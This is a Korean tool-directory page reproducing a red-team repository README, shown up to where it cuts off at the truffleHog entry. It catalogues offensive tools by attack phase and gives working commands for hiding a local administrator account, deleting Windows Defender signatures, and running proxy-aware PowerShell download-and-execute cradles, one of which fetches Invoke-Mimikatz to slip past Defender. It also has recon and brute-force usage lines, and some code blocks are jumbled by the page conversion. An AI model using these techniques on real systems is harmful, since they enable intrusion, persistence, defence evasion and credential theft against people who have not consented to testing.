Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Hack Tools — 여러 침투 테스트 도구를 통합한 프로젝트 | Kitploit
도구/GitLabGitLab/edu0x01/hack-tools
Defensive ToolsPhishing ToolsPrivilege EscalationReconnaissanceExploit FrameworksLateral MovementPenetration TestingCommand and ControlLearning & EducationRed TeamingCurated ResourcesPayload Development
22년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitLabedu0x01/hack-tools

Hack Tools

여러 침투 테스트 도구를 통합한 프로젝트

저장소 보기웹사이트

Hack Tools

이 저장소는 200개 이상의 도구와 리소스를 모아놓은 것으로, 레드 팀 활동에 유용할 수 있습니다.

일부 도구는 레드 팀을 위해 특별히 설계되었을 수도 있고, 다른 도구는 더 일반적인 용도로 사용되지만 레드 팀 컨텍스트에 맞게 조정될 수 있습니다.

경고

이 저장소의 자료는 정보 제공 및 교육 목적으로만 제공됩니다. 불법 활동에 사용하기 위한 것이 아닙니다.

참고

화살표로 도구 목록 제목을 숨깁니다.

🔙을 클릭하면 목록으로 돌아갑니다.

클론 명령어```bash

git submodule update --init --recursive

root@kitploit:~
### 새 프로젝트 추가```bash
git submodule add https://github.com/example.git

docs: https://git-scm.com/book/en/v2/Git-Tools-Submodules

도구 목록

레드팀 팁 $\textcolor{gray}{\text{13 팁}}$
    • 로컬 관리자 계정 숨기기 @Alh4zr3d
    • 시그니처 삭제로 Windows Defender 무력화 @Alh4zr3d
    • 사용자당 여러 RDP 세션 활성화 @Alh4zr3d
    • Sysinternals PsExec.exe 로컬 대체 @GuhnooPlusLinux
    • Live off the land 포트 스캐너 @Alh4zr3d
    • 프록시 인식 PowerShell DownloadString @Alh4zr3d
    • 브라우저 북마크에서 내부 엔드포인트 찾기 @Alh4zr3d
    • 열거를 위한 DNS 레코드 질의 @Alh4zr3d
    • PowerUp 없이 따옴표 없는 서비스 경로 @Alh4zr3d
    • /k로 비활성화된 명령 프롬프트 우회 Martin Sohn Christensen
    • Windows Defender가 mimikatz.exe 삭제하지 못하게 하기 @GuhnooPlusLinux
    • 가상 머신 여부 확인 @dmcxblue
    • AppLocker 규칙 열거 @Alh4zr3d
정찰 $\textcolor{gray}{\text{20 도구}}$
    • crt.sh -> httprobe -> EyeWitness 자동화된 도메인 스크린샷
    • jsendpoints 페이지 DOM 링크 추출
    • nuclei 취약점 스캐너
    • certSniff 인증서 투명성 로그 키워드 스니퍼
    • gobuster 웹사이트 경로 무차별 대입
    • feroxbuster Rust로 작성된 빠른 콘텐츠 탐색 도구
    • CloudBrute 클라우드 인프라 무차별 대입
    • dnsrecon DNS 레코드 열거
    • Shodan.io 공개 시스템 지식 베이스
    • AORT (All in One Recon Tool) 서브도메인 열거
    • spoofcheck SPF/DMARC 레코드 검사기
    • AWSBucketDump S3 버킷 열거
    • GitHarvester GitHub 자격 증명 검색기
    • truffleHog GitHub 자격 증명 스캐너
    • Dismap 자산 발견/식별
    • enum4linux Windows/samba 열거
    • skanuvaty 매우 빠른 DNS/네트워크/포트 스캐너
    • Metabigor API 없는 OSINT 도구
    • Gitrob GitHub 민감 정보 스캐너
    • gowitness Chrome Headless를 사용한 웹 스크린샷 유틸리티
리소스 개발 $\textcolor{gray}{\text{8 도구}}$
    • Chimera PowerShell 난독화
    • msfvenom 페이로드 생성
    • Shellter 동적 셸코드 삽입 도구
    • Freeze 페이로드 생성 (EDR 우회)
    • WordSteal Microsoft Word로 NTML 해시 탈취
    • WSH Wsh 페이로드
    • HTA Hta 페이로드
    • VBA Vba 페이로드
초기 접근 $\textcolor{gray}{\text{6 도구}}$
    • Bash Bunny USB 공격 도구
    • EvilGoPhish 피싱 캠페인 프레임워크
    • The Social-Engineer Toolkit 피싱 캠페인 프레임워크
    • Hydra 무차별 대입 도구
    • SquarePhish OAuth/QR 코드 피싱 프레임워크
    • King Phisher 피싱 캠페인 프레임워크
실행 $\textcolor{gray}{\text{12 도구}}$
    • Responder LLMNR, NBT-NS 및 MDNS 중독자
    • secretsdump 원격 해시 덤퍼
    • evil-winrm WinRM 셸
    • Donut 인메모리 .NET 실행
    • Macro_pack 매크로 난독화
    • PowerSploit PowerShell 스크립트 제품군
    • Rubeus Active Directory 해킹 도구
    • SharpUp Windows 취약점 식별자
    • SQLRecon 공격적 MS-SQL 툴킷
    • UltimateAppLockerByPassList 일반적인 AppLocker 우회 기술
    • StarFighters JavaScript 및 VBScript 기반 Empire 실행기
    • demiguise HTA 암호화 도구
지속성 $\textcolor{gray}{\text{4 도구}}$
    • Impacket Python 스크립트 제품군
    • Empire 사후 침투 프레임워크
    • SharPersist Windows 지속성 툴킷
    • ligolo-ng TUN 인터페이스를 사용하는 터널링 도구
권한 상승 $\textcolor{gray}{\text{9 도구}}$
    • LinPEAS Linux 권한 상승
    • WinPEAS Windows 권한 상승
    • linux-smart-enumeration Linux 권한 상승
    • Certify Active Directory 권한 상승
    • Get-GPPPassword Windows 비밀번호 추출
    • Sherlock PowerShell 권한 상승 도구
    • Watson Windows 권한 상승 도구
    • ImpulsiveDLLHijack DLL 하이재킹 도구
    • ADFSDump AD FS 덤프 도구
방어 회피 $\textcolor{gray}{\text{5 도구}}$
    • Invoke-Obfuscation 스크립트 난독화기
    • Veil Metasploit 페이로드 난독화기
    • SharpBlock 진입점 실행 차단을 통한 EDR 우회
    • Alcatraz GUI x64 바이너리 난독화기
    • Mangle 컴파일된 실행 파일 조작
    • AMSI Fail AMSI를 깨거나 비활성화하는 PowerShell 스니펫
자격 증명 접근 $\textcolor{gray}{\text{9 도구}}$
    • Mimikatz Windows 자격 증명 추출기
    • LaZagne 로컬 비밀번호 추출기
    • hashcat 비밀번호 해시 크래킹
    • John the Ripper 비밀번호 해시 크래킹
    • SCOMDecrypt SCOM 자격 증명 복호화 도구
    • nanodump LSASS 프로세스 미니덤프 생성
    • eviltree 자격 증명 발견을 위한 Tree 재구현
    • SeeYouCM-Thief Cisco 전화 시스템 설정 파일 파싱
    • MailSniper Microsoft Exchange 메일 검색기
탐색 $\textcolor{gray}{\text{6 도구}}$
    • PCredz 자격 증명 발견 PCAP/라이브 인터페이스
    • PingCastle Active Directory 평가 도구
    • Seatbelt 로컬 취약점 스캐너
    • ADRecon Active Directory 정찰
    • adidnsdump Active Directory 통합 DNS 덤프
    • scavenger 시스템 수색용 스캐닝 도구
측면 이동 $\textcolor{gray}{\text{12 도구}}$
    • crackmapexec Windows/Active Directory 측면 이동 툴킷
    • WMIOps WMI 원격 명령
    • PowerLessShell PowerShell 없이 원격 PowerShell
    • PsExec 경량 텔넷 대체
    • LiquidSnake 파일리스 측면 이동
    • RDP 활성화 Windows RDP 활성화 명령
    • 셸을 Meterpreter로 업그레이드 리버스 셸 향상
    • 포트 포워딩 로컬 포트 포워드 명령
    • Jenkins 리버스 셸 Jenkins 셸 명령
    • ADFSpoof AD FS 보안 토큰 위조
    • kerbrute Kerberos 사전 인증 무차별 대입 도구
    • Coercer Windows 서버가 인증하도록 강제
수집 $\textcolor{gray}{\text{3 도구}}$
    • BloodHound Active Directory 시각화
    • Snaffler Active Directory 자격 증명 수집기
    • linWinPwn Active Directory 열거 및 취약점 검사
명령 및 제어 $\textcolor{gray}{\text{6 도구}}$
    • Havoc 명령 및 제어 프레임워크
    • Covenant 명령 및 제어 프레임워크 (.NET)
    • Merlin 명령 및 제어 프레임워크 (Golang)
    • Metasploit Framework 명령 및 제어 프레임워크 (Ruby)
    • Pupy 명령 및 제어 프레임워크 (Python)
    • Brute Ratel 명령 및 제어 프레임워크 ($$$)
유출 $\textcolor{gray}{\text{5 도구}}$
    • Dnscat2 DNS 터널링을 통한 C2
    • Cloakify 유출을 위한 데이터 변환
    • PyExfil 데이터 유출 PoC
    • Powershell RAT Python 기반 백도어
    • GD-Thief Google Drive 유출
영향 $\textcolor{gray}{\text{3 도구}}$
    • Conti Pentester Guide Leak Conti 랜섬웨어 그룹 제휴 툴킷
    • SlowLoris 간단한 서비스 거부
    • usbkill 포렌식 방지 킬 스위치

레드팀 팁

Red Teamer의 레드팀 팁 모음에서 배워보세요. 이 팁들은 다양한 전술, 도구 및 방법론을 다루어 레드팀 능력을 향상시킵니다.

참고: 거의 모든 팁은 현재 @Alh4zr3d가 제공합니다. 그는 좋은 레드팀 팁을 게시합니다!

🔙로컬 관리자 계정 숨기기```bash

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /t REG_DWORD /v alh4zr3d /d 0 /f

root@kitploit:~
**설명:** _'블루(blue)를 피해 계정을 생성하는 것은 위험하지만, 로컬 관리자를 생성할 때 레지스트리에서 귀여운 마법을 사용하여 숨길 수 있습니다.'_

**크레딧:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)

**링크:** [트위터](https://twitter.com/Alh4zr3d/status/1612913838999113728)

### [🔙](#tool-list)서명 삭제로 Windows Defender 비활성화하기```bash
"%Program Files%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

설명: '약간 지저분하지만, Windows Defender가 큰 골칫거리라면, 사용자에게 알림이 가는 비활성화 대신, 모든 서명을 삭제하여 무력화하는 것이 좋습니다.'

크레딧: @Alh4zr3d

링크: Twitter

🔙사용자당 여러 RDP 세션 활성화```bash

reg add HKLM\System\CurrentControlSet\Control\TerminalServer /v fSingleSessionPerUser /d 0 /f

root@kitploit:~
**설명:** _'RDP 등을 통해 호스트에 로그인하려고 할 때, 사용자에게 활성 세션이 있는 경우가 있습니다. 사용자당 여러 세션을 활성화하세요.'_

**크레딧:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)

**링크:** [Twitter](https://twitter.com/Alh4zr3d/status/1609954528425558016)

### [🔙](#tool-list)Sysinternals PsExec.exe 로컬 대안```bash
wmic.exe /node:10.1.1.1 /user:username /password:pass process call create cmd.exe /c " command "

설명: 'Sysinternals PsExec.exe를 업로드하며 측면 이동을 하는 데 지치셨나요? Windows에는 더 나은 대안이 기본 설치되어 있습니다. 이것을 대신 사용해 보세요.'

크레딧: @GuhnooPlusLinux

링크: Twitter

🔙자연 상태 포트 스캐너```bash

0..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect(<tgt_ip>,$)) "Port $ open"} 2>$null

root@kitploit:~
**설명:** _'가능하면 (여러 이유로) 도구를 머신에 업로드하는 대신 기본 제공 도구를 활용하십시오. PowerShell/.NET 도움. 예: PowerShell에서 간단한 포트 스캐너.'_

**출처:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)

**링크:** [Twitter](https://twitter.com/Alh4zr3d/status/1605060950339588096)

### [🔙](#tool-list)Proxy aware PowerShell DownloadString```bash
$w=(New-Object Net.WebClient);$w.Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;IEX $w.DownloadString("<url>")

설명: '요즘 대부분의 대규모 조직은 웹 프록시를 사용합니다. 기본 PowerShell 다운로드 크래들은 프록시를 인식하지 못합니다. 이 크래들을 사용하세요.'

출처: @Alh4zr3d

링크: Twitter

🔙브라우저 북마크에서 내부 엔드포인트 찾기```bash

type "C:\Users%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Bookmarks.bak" | findstr /c "name url" | findstr /v "type"

root@kitploit:~
**설명:** _'사용자의 북마크만으로도 놀라운 정보를 찾을 수 있습니다. 예를 들어, 접근 가능한 내부 엔드포인트 같은 것들요.'_

**출처:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)

**링크:** [Twitter](https://twitter.com/Alh4zr3d/status/1595488676389171200)

### [🔙](#tool-list)DNS 레코드를 조회하여 열거하기```bash
Get-DnsRecord -RecordType A -ZoneName FQDN -Server <server hostname>

설명: '열거가 게임의 95%를 차지합니다. 하지만 환경을 평가하기 위해 수많은 스캔을 실행하는 것은 매우 시끄럽습니다. DC/DNS 서버에 모든 DNS 레코드를 요청하는 것이 어떨까요?'

출처: @Alh4zr3d

링크: Twitter

🔙따옴표 없는 서비스 경로 (PowerUp 없이)```bash

Get-CIMInstance -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$.StartMode -eq "Auto" -and $.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

root@kitploit:~
**설명:** _'PowerUp 없이 따옴표가 없는 서비스 경로 찾기'_

**크레딧:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)

**링크:** [Twitter](https://twitter.com/Alh4zr3d/status/1579254955554136064)

### [🔙](#tool-list)/k로 비활성화된 명령 프롬프트 우회하기```bash
# Win+R (To bring up Run Box)
cmd.exe /k "whoami"

설명: '이 명령 프롬프트는 관리자에 의해 비활성화되었습니다...' 이러한 메시지는 일반적으로 키오스크 PC 환경에서 볼 수 있습니다. 빠른 임시 해결 방법으로 Windows 실행 상자에서 /k를 사용하는 것입니다. 이렇게 하면 명령을 실행한 후 제한 메시지를 표시하여 명령 실행을 가능하게 합니다.

크레딧: Martin Sohn Christensen

링크: 블로그

🔙Windows Defender가 mimikatz.exe를 삭제하지 못하도록 중지```bash

(new-object net.webclient).downloadstring('https://raw.githubusercontent[.]com/BC-SECURITY/Empire/main/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1')|IEX;inv

root@kitploit:~
**설명:** _'Windows Defender가 mimikatz.exe를 삭제하는 것에 지치셨나요? 대신 이것을 사용해보세요.'_

**출처:** [@GuhnooPlusLinux](https://twitter.com/GuhnooPlusLinux)

**링크:** [Twitter](https://twitter.com/GuhnooPlusLinux/status/1605629049660809216)

### [🔙](#tool-list)가상 머신에 있는지 확인하기```bash
reg query HKLM\SYSTEM /s | findstr /S "VirtualBox VBOX VMWare"

설명: '가상 머신에 있는지 알고 싶으신가요? 레지스트리 키를 조회하여 확인하세요!!! 결과가 나타나면 가상 머신에 있는 것입니다.'

제작자: @dmcxblue

링크: 트위터

🔙AppLocker 규칙 열거```

(Get-AppLockerPolicy -Local).RuleCollections

Get-ChildItem -Path HKLM:Software\Policies\Microsoft\Windows\SrpV2 -Recurse

reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe\

root@kitploit:~
**Description:** _'AppLocker는 골칫거리가 될 수 있습니다. 얼마나 골치 아픈지 열거해 보세요'_

**출처:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)

**링크:** [Twitter](https://twitter.com/alh4zr3d/status/1614706476412698624)

# 정찰

### [🔙](#tool-list)crt.sh -> httprobe -> EyeWitness

다음과 같은 bash one-liner를 만들었습니다:

- 인증서 연결에서 서브도메인 목록을 수동으로 수집 ([crt.sh](https://crt.sh/))
- 각 서브도메인에 능동적으로 요청하여 존재 여부 확인 ([httprobe](https://github.com/tomnomnom/httprobe))
- 수동 검토를 위해 각 서브도메인을 능동적으로 스크린샷 캡처 ([EyeWitness](https://github.com/FortyNorthSecurity/EyeWitness))

**사용법:**```bash
domain=DOMAIN_COM;rand=$RANDOM;curl -fsSL "https://crt.sh/?q=${domain}" | pup 'td text{}' | grep "${domain}" | sort -n | uniq | httprobe > /tmp/enum_tmp_${rand}.txt; python3 /usr/share/eyewitness/EyeWitness.py -f /tmp/enum_tmp_${rand}.txt --web

Note: You must have httprobe, pup and EyeWitness installed and change 'DOMAIN_COM' to the target domain. You are able to run this script concurrently in terminal windows if you have multiple target root domains

image

image

🔙jsendpoints

페이지의 모든 웹페이지 엔드포인트 링크를 추출하기 위한 JavaScript 북마크릿입니다.

@renniepak이 만든 이 JavaScript 코드 조각은 웹페이지에 포함된 모든 외부 스크립트 소스를 포함하여 현재 웹페이지 DOM에서 ( /로 시작하는) 모든 엔드포인트를 추출하는 데 사용할 수 있습니다.```javascript javascript: (function () { var scripts = document.getElementsByTagName("script"), regex = /(?<=("|'|`))/[a-zA-Z0-9_?&=/-#.]*(?=("|'|`))/g; const results = new Set(); for (var i = 0; i < scripts.length; i++) { var t = scripts[i].src; "" != t && fetch(t) .then(function (t) { return t.text(); }) .then(function (t) { var e = t.matchAll(regex); for (let r of e) results.add(r[0]); }) .catch(function (t) { console.log("An error occurred: ", t); }); } var pageContent = document.documentElement.outerHTML, matches = pageContent.matchAll(regex); for (const match of matches) results.add(match[0]); function writeResults() { results.forEach(function (t) { document.write(t + "
"); }); } setTimeout(writeResults, 3e3); })();

root@kitploit:~
**사용법 (북마클릿)**

북마클릿 만들기...

- `북마크 바를 마우스 오른쪽 버튼으로 클릭`
- `'페이지 추가' 클릭`
- `위의 자바스크립트를 'URL' 상자에 붙여넣기`
- `'저장' 클릭`

...그런 다음 브라우저에서 대상 페이지를 방문하고 북마클릿을 클릭하세요.

![image](https://assets.kitploit.com/production/public/readmes/495/a2a9b8ff2cacdcf419b64a6d99075dffa73471eea1201fb9a0a6b2524794849f.png)

**사용법 (콘솔)**

위의 자바스크립트를 콘솔 창(`F12`)에 붙여넣고 Enter 키를 누르세요.

![image](https://assets.kitploit.com/production/public/readmes/495/5dd2a02f0f6874c521b8a98f35f653b1cf1a13b00a4c7e3eaf7c111700c0cc8a.png)

### [🔙](#tool-list)[nuclei](https://github.com/projectdiscovery/nuclei)

.yaml 템플릿을 사용하여 특정 문제를 검색하는 빠른 취약점 스캐너입니다.

**설치:**```bash
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest

사용법:```bash cat domains.txt | nuclei -t /PATH/nuclei-templates/

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/495/a747b7be6260c2a228ac90ac4c3500debb25dd3bf1f635c5ce736159cdd7bc81.png)

### [🔙](#tool-list)[nuclei-templates](https://github.com/projectdiscovery/nuclei-templates.git)

<h1 align="center">
Nuclei Templates
</h1>
<h4 align="center">커뮤니티에서 선별한 nuclei 엔진용 템플릿 목록으로, 애플리케이션의 보안 취약점을 찾는 데 사용됩니다.</h4>

<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
</p>
      
<p align="center">
  <a href="https://nuclei.projectdiscovery.io/templating-guide/">문서</a> •
  <a href="#-contributions">기여</a> •
  <a href="#-discussion">토론</a> •
  <a href="#-community">커뮤니티</a> •
  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQ</a> •
  <a href="https://discord.gg/projectdiscovery">DC 참여</a>
</p>

---

템플릿은 실제 스캐닝 엔진을 구동하는 [nuclei scanner](https://github.com/projectdiscovery/nuclei)의 핵심입니다.
이 저장소는 팀에서 제공하고 커뮤니티에서 기여한 스캐너용 다양한 템플릿을 저장하고 보관합니다.
저희는 여러분도 **풀 리퀘스트** 또는 [Github 이슈](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)를 통해 템플릿을 보내어 목록을 늘리는 데 기여해 주시기를 바랍니다.

## Nuclei Templates 개요

고유 태그, 작성자, 디렉토리, 심각도, 템플릿 유형에 대한 통계를 포함한 nuclei 템플릿 프로젝트 개요입니다. 아래 표에는 각 매트릭스의 상위 10개 통계가 포함되어 있으며, 확장 버전은 [여기](https://gitlab.com/edu0x01/hack-tools/-/blob/master/TEMPLATES-STATS.md)에서 확인할 수 있으며, 통합을 위해 [JSON](https://gitlab.com/edu0x01/hack-tools/-/blob/master/TEMPLATES-STATS.json) 형식으로도 제공됩니다.

<table>
<tr>
<td>

## Nuclei Templates 상위 10개 통계

| TAG       | COUNT | AUTHOR       | COUNT | DIRECTORY            | COUNT | SEVERITY | COUNT | TYPE | COUNT |
| --------- | ----- | ------------ | ----- | -------------------- | ----- | -------- | ----- | ---- | ----- |
| cve       | 1855  | dhiyaneshdk  | 835   | http                 | 5860  | info     | 2857  | file | 123   |
| panel     | 896   | dwisiswant0  | 794   | workflows            | 190   | high     | 1270  | dns  | 18    |
| wordpress | 781   | daffainfo    | 664   | file                 | 123   | medium   | 1042  |      |       |
| exposure  | 677   | pikpikcu     | 353   | network              | 93    | critical | 704   |      |       |
| wp-plugin | 672   | pdteam       | 278   | dns                  | 18    | low      | 216   |      |       |
| xss       | 646   | pussycat0x   | 240   | ssl                  | 12    | unknown  | 26    |      |       |
| osint     | 639   | geeknik      | 220   | headless             | 9     |          |       |      |       |
| tech      | 602   | ricardomaia  | 215   | TEMPLATES-STATS.json | 1     |          |       |      |       |
| edb       | 596   | ritikchaddha | 210   | contributors.json    | 1     |          |       |      |       |
| lfi       | 548   | 0x_akoko     | 179   | cves.json            | 1     |          |       |      |       |

**404개 디렉토리, 6542개 파일**.

</td>
</tr>
</table>

## 📖 문서

새로운 템플릿이나 자신만의 **맞춤형** 템플릿을 **구축**하는 방법에 대한 자세한 문서는 https://nuclei.projectdiscovery.io를 참조하십시오.
또한 작동 방식을 이해하는 데 도움이 되는 템플릿 세트도 추가했습니다.

## 💪 기여

Nuclei-templates는 커뮤니티의 주요 기여로 운영됩니다.
[템플릿 기여 ](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [기능 요청](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+) 및 [버그 보고](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+)를 환영합니다.

![Alt](https://repobeats.axiom.co/api/embed/55ee65543bb9a0f9c797626c4e66d472a517d17c.svg "Repobeats 분석 이미지")

## 💬 토론

논의할 질문, 의문, 아이디어가 있으신가요?
[Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) 게시판에서 자유롭게 토론을 열어 주세요.

## 👨‍💻 커뮤니티

활발한 [Discord Community](https://discord.gg/projectdiscovery)에 참여하여 프로젝트 관리자와 직접 논의하고 보안 및 자동화 관련 정보를 다른 사람들과 공유하실 수 있습니다.
또한 [Twitter](https://twitter.com/pdnuclei)에서 저희를 팔로우하시면 Nuclei에 대한 모든 업데이트를 받아보실 수 있습니다.

<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
  <img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&amp;max=300">
</a>
</p>

기여해 주셔서 다시 한번 감사드리며, 이 커뮤니티를 활기차게 유지해 주셔서 감사합니다. :heart:

### [🔙](#tool-list)[certSniff](https://github.com/A-poc/certSniff)

certSniff는 제가 Python으로 작성한 Certificate Transparency 로그 키워드 감시자입니다. certstream 라이브러리를 사용하여 파일에 정의된 키워드가 포함된 인증서 생성 로그를 감시합니다.

피해자 도메인과 관련된 여러 키워드를 설정하여 실행할 수 있으며, 인증서 생성이 기록되어 이전에 알지 못했던 도메인을 발견할 수 있습니다.

**설치:**```bash
git clone https://github.com/A-poc/certSniff;cd certSniff/;pip install -r requirements.txt

사용법:```python python3 certSniff.py -f example.txt

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/495/5cfb98ddfd270f9f57aa774a49dd21ee41ae79bbf430e012834e9c85cf221c5e.png)

### [🔙](#tool-list)[gobuster](https://www.kali.org/tools/gobuster/)

피해 웹사이트의 파일/폴더 경로를 무차별 대입하는 데 유용한 도구입니다.

**설치:**```bash
sudo apt install gobuster

사용법:```bash gobuster dir -u "https://google.com" -w /usr/share/wordlists/dirb/big.txt --wildcard -b 301,401,403,404,500 -t 20

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/495/49bbb3fa465f423a5b3fa1dbe2468cb9c70ad4600532825a759da5b911a2c890.png)

### [🔙](#tool-list)[feroxbuster](https://github.com/epi052/feroxbuster)

무단 브라우징(Forced Browsing)을 수행하도록 설계된 도구로, 웹 애플리케이션에서 참조되지 않지만 공격자가 여전히 접근할 수 있는 리소스를 열거하고 접근하는 것을 목표로 하는 공격입니다.

Feroxbuster는 무차별 대입을 단어 목록과 결합하여 대상 디렉터리에서 연결되지 않은 콘텐츠를 검색합니다. 이러한 리소스는 소스 코드, 자격 증명, 내부 네트워크 주소 등과 같은 웹 애플리케이션 및 운영 체제에 대한 민감한 정보를 저장할 수 있습니다.

**설치: (Kali)**```bash
sudo apt update && sudo apt install -y feroxbuster

설치: (Mac)```bash curl -sL https://raw.githubusercontent.com/epi052/feroxbuster/master/install-nix.sh | bash

root@kitploit:~
**설치: (Windows)**```bash
Invoke-WebRequest https://github.com/epi052/feroxbuster/releases/latest/download/x86_64-windows-feroxbuster.exe.zip -OutFile feroxbuster.zip
Expand-Archive .\feroxbuster.zip
.\feroxbuster\feroxbuster.exe -V

전체 설치 지침은 여기를 참조하세요.

사용법:```bash

Add .pdf, .js, .html, .php, .txt, .json, and .docx to each url

./feroxbuster -u http://127.1 -x pdf -x js,html -x php txt json,docx

Scan with headers

./feroxbuster -u http://127.1 -H Accept:application/json "Authorization: Bearer {token}"

Read URLs from stdin

cat targets | ./feroxbuster --stdin --silent -s 200 301 302 --redirects -x js | fff -s 200 -o js-files

Proxy requests through burpsuite

./feroxbuster -u http://127.1 --insecure --proxy http://127.0.0.1:8080

root@kitploit:~
Full usage examples can be found [here](https://epi052.github.io/feroxbuster-docs/docs/examples/).

![image](https://assets.kitploit.com/production/public/readmes/495/bddd1a012eb92f79a03b1f6dd3cb9f31a9b0751776541044adcf234332421a08.png)

_Image used from https://raw.githubusercontent.com/epi052/feroxbuster/main/img/demo.gif_

### [🔙](#tool-list)[CloudBrute](https://github.com/0xsha/CloudBrute)

A tool to find a company (target) infrastructure, files, and apps on the top cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).

Features:

- Cloud detection (IPINFO API and Source Code)
- Fast (concurrent)
- Cross Platform (windows, linux, mac)
- User-Agent Randomization
- Proxy Randomization (HTTP, Socks5)

**Install:**

Download the latest [release](https://github.com/0xsha/CloudBrute/releases) for your system and follow the usage.

**Usage:**```bash
# Specified target, generate keywords based off 'target', 80 threads with a timeout of 10, wordlist 'storage_small.txt'
CloudBrute -d target.com -k target -m storage -t 80 -T 10 -w "./data/storage_small.txt"

# Output results to file
CloudBrute -d target.com -k keyword -m storage -t 80 -T 10 -w -c amazon -o target_output.txt

image

이미지 출처: https://github.com/0xsha/CloudBrute

🔙dnsrecon

dnsrecon은 DNS 레코드(MX, SOA, NS, A, AAAA, SPF, TXT)를 열거하고 단일 도메인 검색에서 피벗할 수 있는 새로운 관련 피해자 호스트를 제공하는 파이썬 도구입니다.

설치:```bash sudo apt install dnsrecon

root@kitploit:~
**사용법:**```bash
dnsrecon -d google.com

image

🔙shodan.io

Shodan은 공개 인프라를 크롤링하여 검색 가능한 형식으로 표시합니다. 회사명, 도메인명, IP 주소를 사용하여 Shodan을 통해 대상과 관련된 잠재적인 취약 시스템을 발견할 수 있습니다.

image

🔙AORT

서브도메인 열거, DNS 열거, WAF 탐지, WHOIS, 포트 스캔, 웨이백 머신, 이메일 수집을 위한 도구입니다.

설치:```bash git clone https://github.com/D3Ext/AORT; cd AORT; pip3 install -r requirements.txt

root@kitploit:~
**사용법:**```python
python3 AORT.py -d google.com

image

🔙spoofcheck

도메인이 스푸핑될 수 있는지 확인하는 프로그램입니다. SPF 및 DMARC 레코드의 약한 구성으로 인해 스푸핑이 가능한지 검사합니다. 또한 SPF/DKIM 이메일 실패 시 메일이나 HTTP 요청을 보내는 DMARC 구성이 있는 경우 경고합니다.

다음 조건 중 하나라도 충족되면 도메인은 스푸핑 가능합니다:

  • SPF 또는 DMARC 레코드가 없음
  • SPF 레코드에 ~all 또는 -all이 지정되지 않음
  • DMARC 정책이 p=none으로 설정되었거나 존재하지 않음

설치:```bash git clone https://github.com/BishopFox/spoofcheck; cd spoofcheck; pip install -r requirements.txt

root@kitploit:~
**사용법:**```bash
./spoofcheck.py [DOMAIN]

image

🔙AWSBucketDump

AWSBucketDump는 AWS S3 버킷을 빠르게 열거하여 흥미로운 파일을 찾는 도구입니다. 서브도메인 무차별 대입 도구와 유사하지만 S3 버킷 전용으로 만들어졌으며, 파일을 grep하고 흥미로운 파일을 다운로드할 수 있는 추가 기능이 있습니다.

설치:``` git clone https://github.com/jordanpotti/AWSBucketDump; cd AWSBucketDump; pip install -r requirements.txt

root@kitploit:~
**사용법:**```
usage: AWSBucketDump.py [-h] [-D] [-t THREADS] -l HOSTLIST [-g GREPWORDS] [-m MAXSIZE]

optional arguments:
  -h, --help    show this help message and exit
  -D            Download files. This requires significant diskspace
  -d            If set to 1 or True, create directories for each host w/ results
  -t THREADS    number of threads
  -l HOSTLIST
  -g GREPWORDS  Provide a wordlist to grep for
  -m MAXSIZE    Maximum file size to download.

 python AWSBucketDump.py -l BucketNames.txt -g interesting_Keywords.txt -D -m 500000 -d 1

🔙GitHarvester

정규 표현식을 사용하여 GitHub에서 정보를 찾고, 특정 GitHub 사용자 및/또는 프로젝트를 검색할 수 있는 유용한 도구입니다.

설치:``` git clone https://github.com/metac0rtex/GitHarvester; cd GitHarvester

root@kitploit:~
**사용법:**```
./githarvester.py

🔙truffleHog

